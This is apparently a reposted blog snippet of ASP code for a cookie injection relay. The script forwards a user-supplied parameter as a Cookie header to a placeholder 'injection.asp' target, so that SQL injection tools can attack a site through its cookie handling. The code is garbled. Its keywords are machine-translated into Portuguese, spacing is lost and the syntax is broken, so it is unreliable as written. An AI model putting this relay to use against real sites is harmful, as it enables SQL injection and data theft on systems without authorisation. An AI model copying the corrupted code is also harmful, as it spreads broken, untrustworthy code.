来源 : 职业欠钱 & zJ1244 共 用的 Blog público
复制代码代码如下:
<%
Str = "xxxid =" & Escape (request ("fk")))
Url = "http://xxx.chinaxxx.com/injection.asp"
Response.WritePostData (URL, STR)
FunctionPostData (posturl, postcok)
Dimhttp
Sethttp = server.createObject ("msxml2.serverxmlHttp")
Com http
.Popear "Get", posturl, falso
.SetRequestHeader "Cookie", PostCok
.Enviar
PostData = .Responsebody
ENDWITH
Sethttp = nada
PostData = Bytes2BStr (PostData)
Função final
FunctionBytes2BStr (VIN)
DIMSTRRETURN
Dimi, ThisCharCode, NextCharCode
strreturn = ""
Fori = 1tolenb (VIN)
ThisCharcode = ASCB (MIDB (VIN, i, 1))
IfthScharcode <& h80Then
strreturn = strreturn & ch (thischarcode)
Outro
NextcharCode = ASCB (MIDB (VIN, I+1,1))
strreturn = strreturn & ch (clng (thischarcode)*& h100+cint (nextcharcode))
I = i+1
Endif
Próximo
bytes2bstr = strreturn
Função final
%>